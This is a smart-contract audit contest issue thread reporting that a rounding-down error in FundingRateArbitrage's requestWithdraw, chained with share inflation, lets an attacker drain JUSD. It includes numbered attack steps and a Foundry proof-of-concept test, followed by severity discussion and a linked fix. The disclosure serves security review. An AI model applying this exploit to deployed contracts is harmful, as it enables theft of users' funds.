detectiveking - FundingRateArbitrage contract can be drained due to rounding error

[sherlock-admin]

detectiveking

high

FundingRateArbitrage contract can be drained due to rounding error

Summary

In the requestWithdraw, rounding in the wrong direction is done which can lead to contract being drained.

Vulnerability Detail

In the requestWithdraw function in FundingRateArbitrage, we find the following lines of code:

jusdOutside[msg.sender] -= repayJUSDAmount;
uint256 index = getIndex();
uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);
require(
     earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance"
);
withdrawEarnUSDCAmount = earnUSDCBalance[msg.sender] - lockedEarnUSDCAmount;

Because we round down when calculating lockedEarnUSDCAmount, withdrawEarnUSDCAmount is higher than it should be, which leads to us allowing the user to withdraw more than we should allow them to given the amount of JUSD they repaid.

The execution of this is a bit more complicated, let's go through an example. We will assume there's a bunch of JUSD existing in the contract and the attacker is the first to deposit.

Steps:

1. The attacker deposits 1 unit of USDC and then manually sends in another 100 * 10^6 - 1 (not through deposit, just a transfer). The share price / price per earnUSDC will now be $100. Exactly one earnUSDC is in existence at the moment.
2. Next the attacker creates a new EOA and deposits a little over $101 worth of USDC (so that after fees we can get to the $100), giving one earnUSDC to the EOA. The attacker will receive around $100 worth of JUSD from doing this.
3. Attacker calls requestWithdraw with repayJUSDAmount = 1 with the second newly created EOA
4. lockedEarnUSDCAmount is rounded down to 0 (since repayJUSDAmount is subtracted from jusdOutside[msg.sender]
5. withdrawEarnUSDCAmount will be 1
6. After permitWithdrawRequests is called, attacker will be able to withdraw the $100 they deposited through the second EOA (granted, they lost the deposit and withdrawal fees) while only having sent 1 unit of JUSD back. This leads to massive profit for the attacker.

Attacker can repeat steps 2-6 constantly until the contract is drained of JUSD.

Impact

All JUSD in the contract can be drained

Code Snippet

https://github.com/JOJOexchange/smart-contract-EVM/blob/main/src/FundingRateArbitrage.sol#L283-L300

Tool used

Manual Review

Recommendation

Round up instead of down

[sherlock-admin2]

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid because { This is valid and also a dupp of 054 due to the same underlying cause of first deposit attack; but in this the watson explained the exploit scenario of the inflation attack}

[nevillehuang]

request poc

[sherlock-admin]

PoC requested from @detectiveking123

Requests remaining: 4

[JoscelynFarr]

I think this issue is similar to https://github.com/sherlock-audit/2023-12-jojo-exchange-update-judging/issues/54

[nevillehuang]

@JoscelynFarr Seems right, @detectiveking123 do you agree that this seems to be related to a typical first depositor inflation attack.

[detectiveking123]

@nevillehuang I am not exactly sure how this should be judged.

The attack that I describe here chains two separate vulnerabilities together (one of which is the rounding error and the other which is the same root cause as the share inflation attack) to drain all the funds existing in the contract, which is clearly a high. It also doesn't rely on any front-running on Arbitrum assumptions, while the other issue does. In fact, no interaction from any other users is necessary for the attacker to drain all the funds. The exploit that is described in the other issue cannot actually drain all the funds in the contract like this one can, but simply drain user deposits if they can frontrun them.

To clarify, the rounding error that I describe here is different from the rounding error described in the ERC4626 inflation style exploit (so I guess there are two separate rounding errors that optimally should be chained together for this exploit).

Do you still want me to provide a code POC here? I already have an example in the issue description of how the attack can be performed.

[nevillehuang]

@detectiveking123 Yes, please provide me a coded PoC in 1-2 days so that I can verify the draining impact, because it does share similar root causes of direct donation of funds as the first inflation attack.

[detectiveking123]

@nevillehuang let me get it to you by tomorrow

[detectiveking123]

@nevillehuang

    function testExploit() public {
        jusd.mint(address(fundingRateArbitrage), 5000e6);
        // net value starts out at 0 :)
        console.log(fundingRateArbitrage.getNetValue());

        vm.startPrank(Owner); 
        fundingRateArbitrage.setMaxNetValue(10000000e6); 
        fundingRateArbitrage.setDefaultQuota(10000000e6); 
        vm.stopPrank(); 

        initAlice();
        // Alice deposits twice
        fundingRateArbitrage.deposit(1);
        USDC.transfer(address(fundingRateArbitrage), 100e6);
        fundingRateArbitrage.deposit(100e6);
        vm.stopPrank();

        vm.startPrank(alice);
        fundingRateArbitrage.requestWithdraw(1);
        fundingRateArbitrage.requestWithdraw(1);
        vm.stopPrank();

        vm.startPrank(Owner); 
        uint256[] memory requestIds = new uint256[](2);
        requestIds[0] = 0; 
        requestIds[1] = 1;
        fundingRateArbitrage.permitWithdrawRequests(requestIds); 
        vm.stopPrank(); 

        // Alice is back to her initial balance, but now has a bunch of extra JUSD deposited for her into jojodealer!
        console.log(USDC.balanceOf(alice));
        (,uint secondaryCredit,,,) = jojoDealer.getCreditOf(alice);
        console.log(secondaryCredit);
    }

Add this to FundingRateArbitrageTest.t.sol

You will also need to add:

    function transfer(address to, uint256 amount) public override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

to TestERC20

And change initAlice to:

    function initAlice() public {
        USDC.mint(alice, 300e6 + 1);
        jusd.mint(alice, 300e6 + 1);
        vm.startPrank(alice);
        USDC.approve(address(fundingRateArbitrage), 300e6 + 1);
        jusd.approve(address(fundingRateArbitrage), 300e6 + 1); 
    }

FYI for this exploit the share inflation is helpful but not necessary. The main issue is the rounding down of lockedEarnUSDCAmount in requestWithdraw. Even if the share price is 1 cent for example, we will slowly be able to drain JUSD from the contract. An assumption for profitability is that the share price is nontrivial though (so if it's really small it won't be profitable for the attacker b/c of gas fees and deposit fees, though you can still technically drain).

[nevillehuang]

This issue is exactly the same as #21 and the original submission shares the same root cause of depositor inflation to make the attack feasible, given share price realistically won't be of such a low price. I will be duplicating accordingly. Given and subsequent deposits can be drained, I will be upgrading to high severity

@detectiveking123 If you want to escalate feel free,I will maintain my stance here.

[IAm0x52]

Same fix as #54

[JoscelynFarr]

Hey @Czar102 @IAm0x52 @detectiveking123 Have already fixed it here https://github.com/JOJOexchange/smart-contract-EVM/commit/beda757204dd242280ec3e46612e97828ea9ffc6

[IAm0x52]

Fix looks good